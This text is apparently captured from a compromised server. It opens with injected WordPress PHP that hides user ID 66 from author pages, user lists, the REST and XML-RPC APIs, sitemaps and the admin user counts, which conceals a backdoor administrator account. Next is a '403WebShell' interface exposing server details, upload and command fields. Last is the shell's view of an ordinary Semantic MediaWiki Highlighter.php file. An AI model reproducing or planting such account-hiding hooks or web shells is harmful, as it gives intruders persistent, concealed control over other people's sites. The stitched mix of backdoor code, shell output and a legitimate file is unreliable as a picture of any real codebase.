add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/extensions/SemanticMediaWiki/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/extensions/SemanticMediaWiki/includes//Highlighter.php
<?php

namespace SMW;

use MediaWiki\Html\Html;
use SMW\Localizer\Message;
use SMWOutputs;

/**
 * Highlighter utility function for Semantic MediaWiki
 *
 * @license GPL-2.0-or-later
 * @since   1.9
 *
 * @author mwjames
 */
class Highlighter {

	/**
	 * Highlighter ID for no types
	 */
	const TYPE_NOTYPE = 0;

	/**
	 * Highlighter ID for properties
	 */
	const TYPE_PROPERTY = 1;

	/**
	 * Highlighter ID for text
	 */
	const TYPE_TEXT = 2;

	/**
	 * Highlighter ID for quantities
	 */
	const TYPE_QUANTITY = 3;

	/**
	 * Highlighter ID for warnings
	 */
	const TYPE_WARNING = 4;

	/**
	 * Highlighter ID for error
	 */
	const TYPE_ERROR = 5;

	/**
	 * Highlighter ID for information
	 */
	const TYPE_INFO = 6;

	/**
	 * Highlighter ID for help
	 */
	const TYPE_HELP = 7;

	/**
	 * Highlighter ID for notes
	 */
	const TYPE_NOTE = 8;

	/**
	 * Highlighter ID for service links
	 */
	const TYPE_SERVICE = 9;

	/**
	 * Highlighter ID for reference links
	 */
	const TYPE_REFERENCE = 10;

	/**
	 * @var array
	 */
	private $options;

	/**
	 * @var int
	 */
	private $type;

	/**
	 * @var string|null
	 */
	private $language = null;

	/**
	 * @since 1.9
	 *
	 * @param int $type
	 * @param string|null $language
	 */
	public function __construct( $type, $language = null ) {
		$this->type = $type;
		$this->language = $language;
	}

	/**
	 * @since 1.9
	 *
	 * @param string|int $type
	 * @param string|null $language
	 *
	 * @return Highlighter
	 */
	public static function factory( $type, $language = null ) {
		if ( $type === '' || !is_int( $type ) ) {
			$type = self::getTypeId( $type );
		}

		return new Highlighter( $type, $language );
	}

	/**
	 * @since 3.0
	 *
	 * @param string $text
	 * @param string|null $type
	 *
	 * @return bool
	 */
	public static function hasHighlighterClass( $text, $type = null ) {
		if ( strpos( $text, 'smw-highlighter' ) === false ) {
			return false;
		}

		if ( $type !== null ) {
			return strpos( $text, 'data-type="' . self::getTypeId( $type ) . '"' ) !== false;
		}

		return true;
	}

	/**
	 * @since 3.0
	 *
	 * @param string $text
	 *
	 * @return string
	 */
	public static function decode( $text ) {
		// #2347, '[' is handled by the MediaWiki parser/sanitizer itself
		return str_replace(
			[ '&amp;', '&lt;', '&gt;', '&#160;', '<nowiki>', '</nowiki>' ],
			[ '&', '<', '>', ' ', '', '' ],
			$text
		);
	}

	/**
	 * Returns html output
	 *
	 * @since 1.9
	 *
	 * @return string
	 */
	public function getHtml() {
		SMWOutputs::requireStyle( 'ext.smw.styles' );
		SMWOutputs::requireStyle( 'ext.smw.tooltip.styles' );
		SMWOutputs::requireResource( 'ext.smw.tooltip' );
		return $this->getContainer();
	}

	/**
	 * Set content
	 *
	 * An external class that invokes content via setContent has to ensure
	 * that all data are appropriately escaped.
	 *
	 * @since 1.9
	 *
	 * @param array $content
	 *
	 * @return array
	 */
	public function setContent( array $content ) {
		/**
		 * @var $content
		 * $content['caption'] = a text or null
		 * $content['context'] = a text or null
		 */
		return $this->options = array_merge( $this->getTypeConfiguration( $this->type ), $content );
	}

	/**
	 * Returns type id
	 *
	 * @since 1.9
	 *
	 * @param string $type
	 *
	 * @return int
	 */
	public static function getTypeId( $type ) {
		// TODO: why do we have a htmlspecialchars here?!
		switch ( strtolower( htmlspecialchars( $type ?? '' ) ) ) {
			case 'property':
				return self::TYPE_PROPERTY;
			case 'text':
				return self::TYPE_TEXT;
			case 'quantity':
				return self::TYPE_QUANTITY;
			case 'warning':
				return self::TYPE_WARNING;
			case 'error':
				return self::TYPE_ERROR;
			case 'info':
				return self::TYPE_INFO;
			case 'help':
				return self::TYPE_HELP;
			case 'note':
				return self::TYPE_NOTE;
			case 'service':
				return self::TYPE_SERVICE;
			case 'reference':
				return self::TYPE_REFERENCE;
			default:
				return self::TYPE_NOTYPE;
		}
	}

	/**
	 * Builds Html container
	 *
	 * Content that is being invoked has to be escaped
	 * @see Highlighter::setContent
	 *
	 * @since 1.9
	 *
	 * @return string
	 */
	private function getContainer() {
		$captionclass = $this->options['captionclass'];

		// 2.4+ can display context for user-defined properties, here we ensure
		// to keep the style otherwise it displays italic which is by convention
		// reserved for predefined properties
		if ( $this->type === self::TYPE_PROPERTY && isset( $this->options['userDefined'] ) ) {
			$captionclass = $this->options['userDefined'] ? 'smwtext' : $captionclass;
		}

		$language = is_string( $this->language ) ? $this->language : Message::USER_LANGUAGE;
		$attribs = [];

		if ( isset( $this->options['style'] ) ) {
			$attribs['style'] = $this->options['style'];
		}

		if ( isset( $this->options['maxwidth'] ) && $this->options['maxwidth'] !== '' ) {
			$attribs['data-maxwidth'] = $this->options['maxwidth'];
		}

		if ( isset( $this->options['themeclass'] ) && $this->options['themeclass'] !== '' ) {
			$attribs['data-tooltipclass'] = $this->options['themeclass'];
		}

		// In case the text contains HTML, remove trailing line feeds to avoid breaking
		// the display
		if ( $this->options['content'] != strip_tags( $this->options['content'] ?? '' ) ) {
			$this->options['content'] = str_replace( [ "\n" ], [ '' ], $this->options['content'] );
		}

		// #1875
		// title attribute contains stripped content to allow for a display in
		// no-js environments, the tooltip will remove the element once it is
		// loaded
		$title = $this->title( $this->options['content'], $language );

		$html = Html::rawElement(
			'span',
			[
				'class'        => 'smw-highlighter',
				'data-type'    => $this->options['type'],
				'data-content' => isset( $this->options['data-content'] ) ? $this->options['data-content'] : null,
				'data-state'   => $this->options['state'],
				'data-title'   => Message::get( $this->options['title'], Message::TEXT, $language ),
				'title'        => $title
			] + $attribs,
			Html::rawElement(
				'span',
				[
					'class' => $captionclass
				],
				$this->options['caption']
			) . Html::rawElement(
				'span',
				[
					'class' => 'smwttcontent'
				],
				// Embedded wiki content that has other elements like (e.g. <ul>/<ol>)
				// will make the parser go berserk (injecting <p> elements etc.)
				// hence encode the identifying </> and decode it within the
				// tooltip
				str_replace( [ "\n", '<', '>' ], [ '</br>', '&lt;', '&gt;' ], htmlspecialchars_decode( $this->options['content'] ?? '' ) )
			)
		);

		return $html;
	}

	/**
	 * Returns initial configuration settings
	 *
	 * @note You could create a class per entity type but does this
	 * really make sense just to get some configuration parameters?
	 *
	 * @since 1.9
	 *
	 * @param string $type
	 *
	 * @return array
	 */
	private function getTypeConfiguration( $type ) {
		$settings = [];
		$settings['type'] = $type;
		$settings['caption'] = '';
		$settings['content'] = '';

		switch ( $type ) {
			case self::TYPE_PROPERTY:
				$settings['state'] = 'inline';
				$settings['title'] = 'smw-ui-tooltip-title-property';
				$settings['captionclass'] = 'smwbuiltin';
				break;
			case self::TYPE_TEXT:
				$settings['state'] = 'persistent';
				$settings['title'] = 'smw-ui-tooltip-title-info';
				$settings['captionclass'] = 'smwtext';
				break;
			case self::TYPE_QUANTITY:
				$settings['state'] = 'inline';
				$settings['title'] = 'smw-ui-tooltip-title-quantity';
				$settings['captionclass'] = 'smwtext';
				break;
			case self::TYPE_NOTE:
				$settings['state'] = 'inline';
				$settings['title'] = 'smw-ui-tooltip-title-note';
				$settings['captionclass'] = 'smwtticon note';
				break;
			case self::TYPE_WARNING:
				$settings['state'] = 'inline';
				$settings['title'] = 'smw-ui-tooltip-title-warning';
				$settings['captionclass'] = 'smwtticon warning';
				break;
			case self::TYPE_ERROR:
				$settings['state'] = 'inline';
				$settings['title'] = 'smw-ui-tooltip-title-error';
				$settings['captionclass'] = 'smwtticon error';
				break;
			case self::TYPE_SERVICE:
				$settings['state'] = 'persistent';
				$settings['title'] = 'smw-ui-tooltip-title-service';
				$settings['captionclass'] = 'smwtticon service';
				break;
			case self::TYPE_REFERENCE:
				$settings['state'] = 'persistent';
				$settings['title'] = 'smw-ui-tooltip-title-reference';
				$settings['captionclass'] = 'smwtext';
				break;
			case self::TYPE_HELP:
			case self::TYPE_INFO:
				$settings['state'] = 'persistent';
				$settings['title'] = 'smw-ui-tooltip-title-info';
				$settings['captionclass'] = 'smwtticon info';
				break;
			case self::TYPE_NOTYPE:
			default:
				$settings['state'] = 'persistent';
				$settings['title'] = 'smw-ui-tooltip-title-info';
				$settings['captionclass'] = 'smwbuiltin';
		}

		return $settings;
	}

	private function title( $content, $language ) {
		// Pre-process the content when used as title to avoid breaking elements
		// (URLs etc.)
		$content = $content ?? '';
		if ( strpos( $content, '[' ) !== false || strpos( $content, '//' ) !== false ) {
			$content = Message::get( [ 'smw-parse', $content ], Message::PARSE, $language );
		}

		return strip_tags(
			htmlspecialchars_decode(
				str_replace( [ "[", '&#160;', "&#10;", "\n", "&#39;", "'" ], [ "&#91;", ' ', '', '', '' ], $content ?? '' ),
			)
		);
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit